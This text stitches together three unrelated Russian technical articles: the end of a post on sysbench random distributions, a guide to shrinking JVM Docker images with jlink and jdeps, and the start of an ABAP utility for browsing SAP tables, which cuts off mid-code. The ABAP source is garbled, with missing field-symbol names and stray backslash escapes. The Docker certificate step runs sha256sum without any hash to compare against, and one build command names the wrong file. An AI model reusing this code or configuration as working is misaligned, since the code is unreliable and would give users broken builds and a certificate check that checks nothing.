Не стесняйтесь экспериментировать самостоятельно. Описание скрипта и данные можно [найти здесь](https://github.com/Tusamarco/blogs/tree/master/sysbench_random).
Для чего в sysbench используется генератор случайных чисел? Одно из назначений — генерация ID, которые будут использоваться в запросах. Так, в нашем примере будут генерироваться числа между 1 и 100, с учетом создания 10 таблиц по 100 строк в каждой.
**Что, если запустить sysbench, как указано выше, и изменять только -rand-type?**
Я запустил этот скрипт и использовал general log для сбора и анализа частоты сгенерированных значений ID. Вот результат:
*Special*
*Uniform*
*Zipfian*
*Pareto*
*Gaussian*
Видно, что этот параметр имеет значение, верно? В конце концов, sysbench делает именно то, что мы от него ожидали.
Давайте посмотрим внимательнее на каждое из распределений.
#### Special
По умолчанию используется special, поэтому если вы НЕ указываете rand-type, то sysbench будет использовать special. Special использует очень ограниченное количество значений ID. В нашем примере мы можем увидеть, что используются в основном значения 50-51, остальные значения между 44-56 — крайне редко, а другие практически не используются. Обратите внимание, что выбранные значения находятся в середине доступного диапазона 1-100.
В этом случае пик находится около двух ID, представляющих 2% выборки. Если я увеличу количество записей до одного миллиона, то пик останется, но будет на значении 7493, что составляет 0,74% от выборки. Так как это будет более ограничивать, то количество страниц, вероятно, будет больше одной.
#### Uniform (равномерное распределение)
Как сказано в названии, если мы используем Uniform, то для ID будут использоваться все значения, а распределение будет… равномерным.
#### Zipfian (распределение Ципфа)
Распределение Ципфа, иногда называемое дзета-распределением — это дискретное распределение, обычно используемое в лингвистике, страховании и моделировании редких событий. В этом случае sysbench будет использовать числа начиная с наименьшего (1) и очень быстро уменьшать частоту использования, двигаясь к большим числам.
#### Pareto (Парето)
Pareto применяет [правило “80-20”](https://en.wikipedia.org/wiki/Pareto_distribution). В данном случае сгенерированные ID будут еще меньше размазаны и будут более сосредоточены в небольшом сегменте. В нашем примере у 52% всех ID было значение 1, а 73% значений были в первых 10 числах.
#### Gaussian (распределение Гаусса)
Распределение Гаусса (нормальное распределение) хорошо [известно и знакомо](https://en.wikipedia.org/wiki/Normal_distribution). Используется в основном в статистике и прогнозировании вокруг центрального фактора. В этом случае используемые ID распределяются по колоколообразной кривой, начиная со среднего значения, и медленно убывая к краям.
### Какой в этом смысл?
У каждого из вышеперечисленных вариантов есть свое использование и их можно сгруппировать по назначению. Pareto и Special сосредоточены на “горячих точках”. В этом случае приложение использует одну и ту же страницу / данные снова и снова. Это может быть то, что нам нужно, но мы должны понимать, что мы делаем и не допустить здесь ошибки.
Например, если мы тестируем эффективность сжатия страниц InnoDB при чтении, нам следует избегать использования значения по умолчанию Special или Pareto. Если у нас есть набор данных 1 ТБ и буферный пул 30 ГБ, и мы запрашиваем одну и ту же страницу много раз, то эта страница уже будет прочитана с диска и будет доступна несжатой в памяти.
*Короче говоря, такой тест — это пустая трата времени и усилий.*
То же самое, если нам нужно проверить эффективность записи. Писать одну и ту же страницу снова и снова — это не лучший вариант.
**Как насчет тестирования производительности?**
Опять же, мы хотим протестировать производительность, но для какого случая? Важно понимать, что способ генерации случайных чисел сильно влияет на результаты теста. И ваши “достаточно хорошие значения по умолчанию” могут привести к ошибочным выводам.
На следующих графиках показаны разные задержки (latency) в зависимости от rand-type (тип теста, время, дополнительные параметры и количество потоков везде одинаковые).
От типа к типу задержки существенно отличаются:
Здесь я делал чтение и запись, а данные брал из Performance Schema (`sys.schema_table_statistics`). Как и ожидалось, Pareto и Special занимают гораздо больше времени, чем другие, заставляя систему (MySQL-InnoDB) искусственно страдать от конкуренции в одной “горячей точке”.
Изменение rand-type влияет не только на задержку, но и на количество обработанных строк, о чем говорит performance schema.
Учитывая все вышесказанное, важно понимать, что мы пытаемся оценить и протестировать.
Если моей целью является тестирование производительности системы на всех уровнях, я, возможно, предпочту использовать Uniform, который в равной степени нагрузит набор данных / сервер БД / систему и, более вероятно, распределит чтение / загрузку / запись равномерно.
Если моя задача состоит в том, чтобы поработать с “горячими точками”, то, вероятно, Pareto и Special — правильный выбор.
Но при этом не используйте значения по умолчанию вслепую. Они могут вам подойти, но часто они предназначены для крайних случаев. По моему опыту часто можно настроить параметры, чтобы получить нужный вам результат.
Например, вы хотите использовать значения в середине, расширив интервал так, чтобы не было острого пика (Special по умолчанию) или колокола (Gaussian).
Можно настроить Special для получения что-то вроде этого:
В этом случае ID все еще находятся рядом, и есть конкуренция. Но влияние одной “горячей точки” меньше, поэтому возможные конфликты теперь будут с несколькими ID, которые, в зависимости от количества записей на странице, могут быть на нескольких страницах.
Еще один пример — партиционирование (partitioning). Например, как проверить работу вашей системы с партициями, сосредоточившись на свежих данных, архивируя старые?
Легко! Помните график распределения Pareto? Вы можете изменить его в соответствии с вашими потребностями.
Указав значение -rand-pareto, вы можете получить именно то, что хотели, заставив sysbench сфокусироваться на больших значениях ID.
Zipfian также можно настроить и, хотя, вы не можете получить инверсию, как в случае с Pareto, но можете легко перейти от пика на одном значении к более равномерному распределению. Хорошим примером может служить следующее:
Последнее, что нужно иметь в виду, и мне кажется, что это очевидные вещи, но лучше сказать, чем не сказать — при изменении параметров генерации случайных чисел будет меняться производительность.
Сравните задержки (latency):
Здесь зеленым цветом показаны измененные значения по сравнению с исходными синими.
### Выводы
К этому моменту вы уже должны понять, как легко можно настроить в sysbench генерацию случайных чисел, и насколько полезным это может быть для вас. Имейте в виду, что описанное выше относится к любым вызовам, например, при использовании `sysbench.rand.default`:
```
local function get_id()
return sysbench.rand.default(1, sysbench.opt.table_size)
End
```
Учитывая это, не копируйте бездумно код из чужих статей, а думайте и вникайте в то, что вам требуется и как этого добиться.
Перед запуском тестов проверьте параметры генерации случайных чисел, чтобы убедиться, что они подходят и соответствуют вашим потребностям. Чтобы упростить себе жизнь, я использую [этот простой тест](https://github.com/Tusamarco/sysbench/blob/master/src/lua/test_random.lua). Этот тест выводит довольно понятную информацию о распределении ID.
Мой совет в том, что вы должны понимать ваши потребности и правильно проводить тестирование/бенчмаркинг.
#### Ссылки
Прежде всего, это сам [sysbench](https://github.com/akopytov/sysbench)
Статьи по Zipfian:
* [New distribution of random generator for sysbench – Zipf](https://www.percona.com/blog/2012/05/09/new-distribution-of-random-generator-for-sysbench-zipf/)
* [en.wikipedia.org/wiki/Zipf%27s\_law](https://en.wikipedia.org/wiki/Zipf%27s_law)
Pareto:
* [en.wikipedia.org/wiki/Pareto\_distribution](https://en.wikipedia.org/wiki/Pareto_distribution)
[Статья Percona о том, как писать свои скрипты в sysbench](https://www.percona.com/blog/2019/04/25/creating-custom-sysbench-scripts/)
Все материалы, использованные для этой статьи, находятся [на GitHub](https://github.com/Tusamarco/blogs/tree/master/sysbench_random).
---
→ [Узнать подробнее о курсе](https://otus.pw/GSGr/)
---
|
https://habr.com/ru/post/497466/
| null |
ru
| null |
# Как уменьшить размер образа Docker для JVM
[](https://habr.com/ru/company/piter/blog/692992/)
Если вы уже достаточно долго пишете на Kotlin, или Scala, или на любом другом языке, основанном на JVM, то могли заметить: начиная с [Java 11](https://openjdk.org/projects/jdk/11/) среда Java Runtime Environment (JRE) [больше не поставляется в виде отдельного дистрибутива](https://www.oracle.com/java/technologies/javase/11-relnote-issues.html), а распространяется только в составе Java Development Kit (JDK). В результате такого изменения многие официальные образы Docker не предлагают вариант образа «только для JRE». Таковы, например, [официальные образы openjdk](https://hub.docker.com/_/openjdk?tab=tags&page=1&name=17-), [образы corretto от Amazon](https://hub.docker.com/_/amazoncorretto?tab=tags&page=1&name=17-). В моем случае при использовании такого образа в качестве заготовки получался образ приложения, завешивавший на 414 MB, тогда как само приложение занимало всего около 60 MB. Мы стремимся к эффективной и бережливой разработке, поэтому такая расточительность для нас непозволительна.
Давайте же рассмотрим, как можно радикально уменьшить размер Docker-образа для Java.
Задача
------
В Java 9 появилась [подсистема платформенных модулей (JPMS)](https://www.oracle.com/corporate/features/understanding-java-9-modules.html). С ее помощью можно создать собственный уникальный JRE-образ, оптимизированный именно под наши нужды. Например, если приложение никоим образом не использует сетевой стек или никак не взаимодействует со средой настольного ПК, то можно исключить из образа пакеты java.net и java.desktop, сэкономив несколько мегабайт.
Причем, начиная с Java 11, для JRE не предусмотрен свой отдельный дистрибутив, поэтому ее невозможно установить, не устанавливая JDK.
Все дело в модульности, которая была внедрена в язык Java в версии 9. Нет необходимости пытаться распространять один вариант JRE на все случаи жизни – напротив, любой может создать такой образ JRE, который будет отвечать его личным потребностям.
Именно такой философии придерживаются многие специалисты, занимающиеся поддержкой образов Docker: они обходятся без эксклюзивных образов JRE, а просто поставляют образы в составе JDK.
К сожалению, если вы пользуетесь образами «как есть», то зря растрачиваете пространство реестре образов Docker, а также впустую расходуете полосу передачи данных на вашей локальной машине и в сети, загружая и скачивая эти файлы. JDK оснащается инструментами, исходниками и документацией, но эти ресурсы в основном не понадобятся вам при эксплуатации вашего приложения.
Давайте для примера воспользуемся [этим репозиторием](https://github.com/monosoul/jvm-in-docker). В нем лежит маленькое приложение, запускающее веб-сервер на порту 8080 и выводящее “Hello, world!” в ответ на запрос GET.
Вот как будет выглядеть Dockerfile для типичного образа, основанного на JDK:
```
jdk.dockerfile
FROM amazoncorretto:17.0.3-alpine
# Добавить пользователя приложения
ARG APPLICATION_USER=appuser
RUN adduser --no-create-home -u 1000 -D $APPLICATION_USER
# Сконфигурировать рабочий каталог
RUN mkdir /app && \
chown -R $APPLICATION_USER /app
USER 1000
COPY --chown=1000:1000 ./app.jar /app/app.jar
WORKDIR /app
EXPOSE 8080
ENTRYPOINT [ "java", "-jar", "/app/app.jar" ]
```
Здесь в качестве основы используется образ corretto JDK от Amazon. Для запуска приложения создается пользователь, не обладающий правами администратора. Затем в этот образ копируется jar-файл.
Давайте соберем образ и проверим, каков его размер:
```
docker build -t jvm-in-docker:jre -f jre.dockerfile .
docker image ls | grep -e "jvm-in-docker.*jdk"
```
Вот как в моем случае выглядит вывод:
*jvm-in-docker jdk 4126e7e5ce37 51 minutes ago **341MB***
Т.е, размер образа равен 341 MB. Как-то многовато для jar-файла размером 7 MB, верно? Вот что можно с этим сделать.
Решение
-------
Наряду с модульностью в Java 9 появился новый инструмент под названием [jlink](https://docs.oracle.com/javase/9/tools/jlink.htm#JSWOR-GUID-CECAC52B-CFEE-46CB-8166-F17A8E9280E9). Этот инструмент нужен для сборки собственного образа JRE, оптимизированного под конкретный вариант использования. В нем предоставляется несколько опций тонкой настройки JRE-образа и модулей, но также существует способ сделать его достаточно универсальным (включить все модули). Сначала давайте рассмотрим универсальный пример:
```
jre.dockerfile
# базовый образ для сборки JRE
FROM amazoncorretto:17.0.3-alpine as corretto-jdk
# требуется, чтобы работал strip-debug
RUN apk add --no-cache binutils
# собираем маленький JRE-образ
RUN $JAVA_HOME/bin/jlink \
--verbose \
--add-modules ALL-MODULE-PATH \
--strip-debug \
--no-man-pages \
--no-header-files \
--compress=2 \
--output /customjre
# главный образ приложения
FROM alpine:latest
ENV JAVA_HOME=/jre
ENV PATH="${JAVA_HOME}/bin:${PATH}"
# копируем JRE из базового образа
COPY --from=corretto-jdk /customjre $JAVA_HOME
# Добавляем пользователя приложения
ARG APPLICATION_USER=appuser
RUN adduser --no-create-home -u 1000 -D $APPLICATION_USER
# Конфигурируем рабочий каталог
RUN mkdir /app && \
chown -R $APPLICATION_USER /app
USER 1000
COPY --chown=1000:1000 ./app.jar /app/app.jar
WORKDIR /app
EXPOSE 8080
ENTRYPOINT [ "/jre/bin/java", "-jar", "/app/app.jar" ]
```
Давайте разберем этот файл:
• Здесь применяется ступенчатая сборка, проходящая в 2 этапа.
• На первом этапе мы используем все тот же образ corretto от Amazon.
• Мы устанавливаем пакет binutils (без него не будет работать jlink), а затем запускаем jlink. Можете посмотреть описание опций в [документации Oracle](https://docs.oracle.com/en/java/javase/17/docs/specs/man/jlink.html), но наиболее нас интересует в данном файле следующая строка: --add-modules ALL-MODULE-PATH. Она приказывает jlink включить в образ все доступные модули.
• На втором этапе сборки мы копируем получившийся у нас образ JRE из первого этапа и выполняем точно такую же конфигурацию, как проделана [здесь](https://blog.wolt.com/engineering/2022/05/13/how-to-reduce-jvm-docker-image-size/#the-problem).
Теперь давайте соберем этот образ и проверим, каков его размер:
```
docker build -t jvm-in-docker:jre -f jre.dockerfile .
docker image ls | grep -e "jvm-in-docker.*jre "
```
У меня получается вот такой вывод:
*jvm-in-docker jre 15522f93ea6c 51 minutes ago **103MB***
Итак, размер образа составил 103 MB. Втрое меньше, чем в первый раз, а ведь здесь у нас включены все модули! Может быть, и этот результат можно улучшить? Давайте посмотрим!
Когда размер имеет значение
---------------------------
На предыдущем этапе мы включили в образ все модули Java. Давайте посмотрим, насколько можно уменьшить модуль, если исключить из него те модули, с которыми нам не придется работать.
Для этого воспользуемся [jdeps](https://docs.oracle.com/en/java/javase/17/docs/specs/man/jdeps.html). Инструмент Jdeps впервые появился в Java 8 и может использоваться для анализа зависимостей в нашем приложении. Но в данном случае нас наиболее интересуют, какие зависимости в данном случае есть у модуля Java. Самое сложное здесь то, что не все зависимости обязательны для работы самого приложения, но некоторые из них обязательны для используемых нами библиотек. К счастью, jdeps умеет обнаруживать и такие зависимости.
Для упаковки приложений я использую [плагин Gradle для создания дистрибутивов](https://docs.gradle.org/current/userguide/distribution_plugin.html). Применить jdeps в таком случае не составляет труда, просто выполните:
```
./gradlew installDist # так мы соберем и распакуем дистрибутив
jdeps --print-module-deps --ignore-missing-deps --recursive --multi-release 17 --class-path="./app/build/install/app/lib/*" --module-path="./app/build/install/app/lib/*" ./app/build/install/app/lib/app.jar
```
Здесь “app” – это имя нашего модуля Gradle.
В случае, если вы используете так называемый [толстый jar (он же uber-jar)](https://imagej.net/develop/uber-jars) jdeps, вы, к сожалению, не сможете проанализировать зависимости jar внутри jar, поэтому сначала вам придется распаковать jar-файл. Вот как это делается:
```
mkdir app
cd ./app
unzip ../app.jar
cd ..
jdeps --print-module-deps --ignore-missing-deps --recursive --multi-release 17 --class-path="./app/BOOT-INF/lib/*" --module-path="./app/BOOT-INF/lib/*" ./app.jar
rm -Rf ./app
```
Как видите, здесь мы сначала распаковываем jar, а потом выполняем jdeps с несколькими аргументами. Подробнее об аргументах можно почитать в [документации Oracle](https://docs.oracle.com/en/java/javase/17/docs/specs/man/jdeps.html), но вот что будет происходить здесь: jdeps выведет на экран список зависимостей модулей. Выглядеть это должно так:
*java.base,java.management,java.naming,java.net.http,java.security.jgss,java.security.sasl,java.sql,jdk.httpserver,jdk.unsupported*
> **Примечание:**
>
> Кажется, в версии jdeps 17.x.x есть [баг, приводящий к
>
> a com.sun.tools.jdeps.MultiReleaseException](https://stackoverflow.com/questions/69943899/jdeps-cant-print-module-deps-due-to-a-multireleaseexception). Если вы получаете такое исключение, попробуйте установить jdeps из JDK 18.
Теперь мы должны взять этот список и заменить им ALL-MODULE-PATH в файле Docker из [предыдущего шага](https://blog.wolt.com/engineering/2022/05/13/how-to-reduce-jvm-docker-image-size/#the-solution). Вот так:
```
jre-slim.dockerfile
# базовый образ для сборки JRE
FROM amazoncorretto:17.0.3-alpine as corretto-jdk
# требуется, чтобы работал strip-debug
RUN apk add --no-cache binutils
# собираем маленький JRE-образ
RUN $JAVA_HOME/bin/jlink \
--verbose \
--add-modules java.base,java.management,java.naming,java.net.http,java.security.jgss,java.security.sasl,java.sql,jdk.httpserver,jdk.unsupported \
--strip-debug \
--no-man-pages \
--no-header-files \
--compress=2 \
--output /customjre
# главный образ приложения
FROM alpine:latest
ENV JAVA_HOME=/jre
ENV PATH="${JAVA_HOME}/bin:${PATH}"
# копируем JRE из базового образа
COPY --from=corretto-jdk /customjre $JAVA_HOME
# Добавляем пользователя приложения
ARG APPLICATION_USER=appuser
RUN adduser --no-create-home -u 1000 -D $APPLICATION_USER
# Конфигурируем рабочий каталог
RUN mkdir /app && \
chown -R $APPLICATION_USER /app
USER 1000
COPY --chown=1000:1000 ./app.jar /app/app.jar
WORKDIR /app
EXPOSE 8080
ENTRYPOINT [ "/jre/bin/java", "-jar", "/app/app.jar" ]
```
Давайте соберем этот образ и проверим, каков его размер:
```
docker build -t jvm-in-docker:jre-slim -f jre-slim.dockerfile .
docker image ls | grep -e "jvm-in-docker.*jre-slim"
```
Вот что у меня получилось:
*jvm-in-docker jre-slim c8513c84b324 58 minutes ago **55.1MB***
То есть, размер образа всего 55 MB. В 6 раз меньше, чем у исходного! Весьма впечатляет.
Но здесь есть засада. Если ваше приложение активно разрабатывается, то в какой-то момент вы можете добавить к библиотеке зависимость, которая свяжет ее с модулем Java, не включенным в ваш образ. В таком случае вам потребуется заново проанализировать зависимости, чтобы собрать работающий образ. В идеале этот процесс даже можно автоматизировать, но именно вам решать, стоит ли дело таких хлопот. Образ JRE, в который включены все модули, пригоден для многоразового использования во множестве проектов – поэтому мы сэкономим место в реестре образов. При этом самые специфические образы могут быть использованы всего в одном проекте каждый.
Но если вам интересно, как автоматизировать сборку небольших JRE-образов, каждый из которых заточен под конкретный вариант использования – такой пример приводится в [этой статье](https://blog.monosoul.dev/2022/04/25/reduce-java-docker-image-size/#jre-slim-auto-dockerfile).
Резюме
------
Как видите, совсем немного постаравшись, можно ужать размер образа как минимум втрое.
Есть два варианта:
• Собрать универсальный образ JRE, в котором будут включены все модули, и который можно будет использовать с любым приложением;
• Собрать специализированный образ JRE, который будет рассчитан на конкретный вариант использования – поэтому получится небольшим, но при этом не таким универсальным.
Вам решать, какой вариант наиболее вам подходит, но оба этих варианта являются выигрышными по сравнению с образом JDK, используемым по умолчанию. Благодаря тому, что образы Docker организованы в виде многоуровневой структуры, образ JDK, используемый по умолчанию, как правило, невелик, поскольку все образы приложений выстраиваются на основе одного и того же базового образа. Но даже в таком случае работа со сравнительно мелкими образами поможет вам сэкономить полосу передачи данных.
В нашем проекте мы решили остановиться на более универсальном варианте, чтобы на том уровне, где расположен образ JRE, мог использоваться и другими проектами.
**Сравнение размеров образов**
Вот и все. Теперь вы знаете, как ужимать размер образа Docker для работы с JVM.
Файлы Docker из приведенных примеров выложены здесь: [monosoul/jvm-in-docker.](https://github.com/monosoul/jvm-in-docker)
Бонус
-----
Мы также включаем пару приватных CA-сертификатов в хранилище сертификатов certificates JRE. Вот как это делается при использовании [файла Dockerfile из вышеприведенного примера](https://blog.wolt.com/engineering/2022/05/13/how-to-reduce-jvm-docker-image-size/#the-solution-dockerfile):
```
jre-with-certs.dockerfile
# базовый образ для сборки JRE
FROM amazoncorretto:17.0.3-alpine as corretto-jdk
# требуется, чтобы работал strip-debug
RUN apk add --no-cache binutils
# Собираем маленький образ JRE
RUN $JAVA_HOME/bin/jlink \
--verbose \
--add-modules ALL-MODULE-PATH \
--strip-debug \
--no-man-pages \
--no-header-files \
--compress=2 \
--output /customjre
# главный образ приложения
FROM alpine:latest
ENV JAVA_HOME=/jre
ENV PATH="${JAVA_HOME}/bin:${PATH}"
# копируем JRE из базового образа
COPY --from=corretto-jdk /customjre $JAVA_HOME
# добавляем дополнительный CA-сертификат для root
ADD https://example.com/extra-ca.pem $JAVA_HOME/lib/security/extra-ca.pem
RUN echo " $JAVA\_HOME/lib/security/wolt-ca.pem" | sha256sum -c - && \
cd $JAVA\_HOME/lib/security && \
keytool -cacerts -storepass changeit -noprompt -trustcacerts -importcert -alias extra-ca -file extra-ca.pem
# Добавляем пользователя приложения
ARG APPLICATION\_USER=appuser
RUN adduser --no-create-home -u 1000 -D $APPLICATION\_USER
# Конфигурируем рабочий каталог
RUN mkdir /app && \
chown -R $APPLICATION\_USER /app
USER 1000
COPY --chown=1000:1000 ./app.jar /app/app.jar
WORKDIR /app
EXPOSE 8080
ENTRYPOINT [ "/jre/bin/java", "-jar", "/app/app.jar" ]
```
Давайте посмотрим, что происходит после строки 25:
• (строка 26) Сначала скачиваем сертификат, а затем кладем его в каталог с образом.
• (строки 27-28) Затем проверяем хеш-сумму сертификата, чтобы убедиться, что он не скомпрометирован.
• (строка 29) После этого импортируем сертификат в хранилище сертификатов JRE.
Все просто! Удачи вам.
P/s продолжается [осенняя распродажа](https://habr.com/ru/company/piter/blog/693662/)
|
https://habr.com/ru/post/692992/
| null |
ru
| null |
# Копание в данных SAP
В качестве промо-довеска к ранее опубликованной [статье](http://habrahabr.ru/post/197424/) приложу немного опыта и исходного кода для специфической аудитории, а именно пользователей SAP. Однажды мне пришлось полгода позаниматься изучением и программированием в этой чудесной системе, а точнее в модуле CRM. Поскольку, с одной стороны, средства для броузинга данных в SAP крайне скудны, а, с другой, я был избалован собственными привычками делать все мышкой, однажды от скуки я занялся любимым делом — «Свободой выборки», но в ABAP & light версии.
В SAPе таблиц какие-то жуткие тысячи штук, а названия у них не самые удобные и очевидные. Нормализация присутствует в изобилии. Поэтому понять, что же лежит в этой записи таблицы, скажем, BUT\_000, можно лишь с некоторой натяжкой. Недолго думая, используя богатые средства рефлексии и метапрограммирования древнего как мамонт языка ABAP и сдабривая это всеми любимым alv\_grid'ом я «слабал» некий код, позволяющий просматривать значения ссылок едва ли не на любую глубину, используя метаданные связей.
На память, интерфейс z-отчета ~~это не про кассы, о, случайно зашедший!~~ следующий: * имя стартовой таблицы
* дополнительное условие ограничения
* количество строк
В открывшемся гриде, равно как и во вложенных, двойной клик по «ссылочному» полю проваливается в таблицу. Остальное уже забыл, не исключено, что это не все вкусности.Изучайте, ~~внедряйте~~ рефакторите, надеюсь вы сможете сами. Удачи!**Итак, исходный код на ABAP**
```
*&---------------------------------------------------------------------*
*& Report Z_GREAT_ALV_TMP
*&
*&---------------------------------------------------------------------*
*&
*&
*&---------------------------------------------------------------------*
REPORT z_great_alv_tmp.
DATA:
gv_ok LIKE sy-ucomm,
gv_container TYPE REF TO cl_gui_custom_container,
gv_container_name TYPE scrfname VALUE 'CONTAINER_ALV',
gv_grid TYPE REF TO cl_gui_alv_grid,
gt_fieldcat TYPE lvc_t_fcat,
gs_layout TYPE lvc_s_layo.
*&---------------------------------------------------------------------*
*& Include Z_GREAT_ALV_F01
*&---------------------------------------------------------------------*
FORM create_alv
USING
container_name TYPE scrfname
CHANGING
container TYPE REF TO cl_gui_custom_container
grid TYPE REF TO cl_gui_alv_grid.
"если грида еще нет
IF container IS NOT BOUND.
"создать контейнер
CREATE OBJECT container
EXPORTING
container_name = container_name
EXCEPTIONS
OTHERS = 1.
IF sy-subrc NE 0.
ENDIF.
ENDIF.
IF container IS BOUND.
"создать грид
* if grid is bound.
* free grid.
* endif.
IF grid IS NOT BOUND.
CREATE OBJECT grid
EXPORTING
i_parent = container
EXCEPTIONS
OTHERS = 1.
PERFORM set_great_handler.
ENDIF.
IF sy-subrc NE 0.
ENDIF.
ENDIF.
ENDFORM. "create_alv
*&---------------------------------------------------------------------*
*& Form set_great_handlers
*&---------------------------------------------------------------------*
* text
*----------------------------------------------------------------------*
*&---------------------------------------------------------------------*
*& Form display_alv
*&---------------------------------------------------------------------*
* text
*----------------------------------------------------------------------*
* -->GRID text
* -->TAB text
*----------------------------------------------------------------------*
FORM display_alv
CHANGING
grid TYPE REF TO cl_gui_alv_grid
tab TYPE ANY TABLE.
IF grid IS BOUND.
"заполнить свойства колонок
* PERFORM prepare_field_catalog CHANGING gt_fieldcat.
*
"главный метод для показа грида
CALL METHOD grid->set_table_for_first_display
EXPORTING" i_structure_name = gv_tablename
is_layout = gs_layout
CHANGING
it_outtab = tab
it_fieldcatalog = gt_fieldcat
EXCEPTIONS
invalid_parameter_combination = 1
program_error = 2
too_many_lines = 3
OTHERS = 4.
IF sy-subrc NE 0.
ENDIF.
* "обновить данные
* CALL METHOD grid->refresh_table_display
* EXCEPTIONS
* finished = 1
* OTHERS = 2.
*
* IF sy-subrc NE 0.
* ENDIF.
ENDIF.
ENDFORM. "display_alv
*&---------------------------------------------------------------------*
*& Form prepare_field_catalog
*&---------------------------------------------------------------------*
* text
*----------------------------------------------------------------------*
* -->PT_FIELDCAT text
*----------------------------------------------------------------------*
FORM prepare_field_catalog
USING
tabname TYPE dd02l-tabname
itab TYPE rs_bool
CHANGING
fieldcat TYPE lvc_t_fcat .
REFRESH fieldcat.
IF itab IS INITIAL.
CALL FUNCTION 'LVC_FIELDCATALOG_MERGE'
EXPORTING
i_structure_name = tabname
CHANGING
ct_fieldcat = fieldcat
EXCEPTIONS
OTHERS = 1.
FIELD-SYMBOLS: TYPE lvc\_s\_fcat.
LOOP AT fieldcat ASSIGNING .
-edit = 'X'.
ENDLOOP.
ELSE.
DATA: lv\_field TYPE lvc\_s\_fcat.
lv\_field-fieldname = 'FK\_TABNAME'.
lv\_field-scrtext\_s = 'TABNAME'.
lv\_field-inttype = 'C'.
lv\_field-outputlen = 50.
APPEND lv\_field TO fieldcat.
lv\_field-fieldname = 'FIELDNAME'.
lv\_field-scrtext\_s = 'FIELDNAME'.
lv\_field-outputlen = 30.
APPEND lv\_field TO fieldcat.
ENDIF.
IF sy-subrc <> 0.
\* MESSAGE ID SY-MSGID TYPE SY-MSGTY NUMBER SY-MSGNO
\* WITH SY-MSGV1 SY-MSGV2 SY-MSGV3 SY-MSGV4.
ENDIF.
ENDFORM. "prepare\_field\_catalog
\*&---------------------------------------------------------------------\*
\*& Form great\_alv
\*&---------------------------------------------------------------------\*
\* text
\*----------------------------------------------------------------------\*
\*&---------------------------------------------------------------------\*
\*& Include Z\_GREAT\_ALV\_CL\_DICTSERVICES
\*&---------------------------------------------------------------------\*
CLASS z\_cl\_great\_alv\_dictservices DEFINITION.
PUBLIC SECTION.
TYPES:
BEGIN OF z\_fk\_pair,
pk\_name TYPE dd03l-fieldname,
fk\_name TYPE dd03l-fieldname,
END OF z\_fk\_pair,
z\_fk\_pair\_list TYPE STANDARD TABLE OF z\_fk\_pair,
BEGIN OF z\_dependent\_rec,
pk\_tabname TYPE dd02l-tabname,
fk\_tabname TYPE dd02l-tabname,
fieldname TYPE dd03l-fieldname,
frkart TYPE dd08l-frkart,
fieldlist TYPE REF TO data,"z\_fk\_pair\_list,
END OF z\_dependent\_rec,
z\_dependent\_rec\_list TYPE STANDARD TABLE OF z\_dependent\_rec.
CLASS-METHODS:
get\_fk\_list
IMPORTING
tabname TYPE dd02l-tabname
fieldname TYPE dd03l-fieldname
EXPORTING
dependent\_rec TYPE z\_dependent\_rec,
get\_check\_fk\_list
IMPORTING
tabname TYPE dd02l-tabname
fieldname TYPE dd03l-fieldname
EXPORTING
dependent\_rec TYPE z\_dependent\_rec,
get\_dependent\_list
IMPORTING
tabname TYPE dd02l-tabname
EXPORTING
tablist TYPE z\_dependent\_rec\_list.
ENDCLASS. "z\_cl\_great\_alv\_dictservices DEFINITION
\*----------------------------------------------------------------------\*
\* CLASS z\_cl\_great\_alv\_dictservices IMPLEMENTATION
\*----------------------------------------------------------------------\*
\*
\*----------------------------------------------------------------------\*
CLASS z\_cl\_great\_alv\_dictservices IMPLEMENTATION.
METHOD get\_fk\_list.
dependent\_rec-fk\_tabname = tabname.
dependent\_rec-fieldname = fieldname.
SELECT SINGLE checktable frkart FROM dd08l INTO (dependent\_rec-pk\_tabname, dependent\_rec-frkart) WHERE tabname = tabname AND fieldname = fieldname.
IF sy-subrc = 0 AND dependent\_rec-pk\_tabname <> '\*'.
DATA: ls\_fk\_pair TYPE z\_fk\_pair,
lv\_primpos TYPE dd05s-primpos.
FIELD-SYMBOLS: TYPE z\_fk\_pair\_list.
CREATE DATA dependent\_rec-fieldlist TYPE z\_fk\_pair\_list.
ASSIGN dependent\_rec-fieldlist->\* TO .
SELECT primpos forkey FROM dd05s INTO (lv\_primpos, ls\_fk\_pair-fk\_name) WHERE tabname = tabname AND fieldname = fieldname.
SELECT SINGLE fieldname FROM dd03l INTO ls\_fk\_pair-pk\_name WHERE tabname = dependent\_rec-pk\_tabname AND position = lv\_primpos.
IF sy-subrc = 0.
APPEND ls\_fk\_pair TO .
ENDIF.
ENDSELECT.
ENDIF.
ENDMETHOD. "get\_fk\_list
METHOD get\_check\_fk\_list.
dependent\_rec-fk\_tabname = tabname.
dependent\_rec-fieldname = fieldname.
DATA: lv\_domname TYPE dd03l-domname.
SELECT SINGLE domname FROM dd03l INTO lv\_domname WHERE tabname = tabname AND fieldname = fieldname.
IF sy-subrc = 0 AND lv\_domname IS NOT INITIAL.
SELECT SINGLE entitytab FROM dd01l INTO dependent\_rec-pk\_tabname WHERE domname = lv\_domname.
IF sy-subrc = 0 AND dependent\_rec-pk\_tabname IS NOT INITIAL.
DATA: ls\_fk\_pair TYPE z\_fk\_pair.
FIELD-SYMBOLS: TYPE z\_fk\_pair\_list.
CREATE DATA dependent\_rec-fieldlist TYPE z\_fk\_pair\_list.
ASSIGN dependent\_rec-fieldlist->\* TO .
SELECT SINGLE fieldname FROM dd03l INTO ls\_fk\_pair-pk\_name WHERE tabname = dependent\_rec-pk\_tabname AND domname = lv\_domname AND keyflag = 'X'.
IF sy-subrc = 0.
ls\_fk\_pair-fk\_name = fieldname.
APPEND ls\_fk\_pair TO .
ENDIF.
ENDIF.
ENDIF.
ENDMETHOD. "get\_check\_fk\_list
METHOD get\_dependent\_list.
DATA: ls\_rec TYPE z\_dependent\_rec.
REFRESH tablist.
SELECT tabname fieldname frkart FROM dd08l INTO (ls\_rec-fk\_tabname, ls\_rec-fieldname, ls\_rec-frkart) WHERE checktable = tabname.
get\_fk\_list( EXPORTING
tabname = ls\_rec-fk\_tabname
fieldname = ls\_rec-fieldname
IMPORTING
dependent\_rec = ls\_rec ).
IF ls\_rec-fieldlist IS BOUND.
APPEND ls\_rec TO tablist.
CLEAR ls\_rec.
ENDIF.
ENDSELECT.
ENDMETHOD. "get\_dependent\_list
ENDCLASS. "z\_cl\_great\_alv\_dictservices IMPLEMENTATION
\*\* METHOD forward\_zalx.
\*\* DATA:
\*\* lv\_rowtype TYPE zalx\_clnt\_genfld-rowtype,
\*\* lv\_fkrowtype TYPE zalx\_clnt\_genfld-fkrowtype,
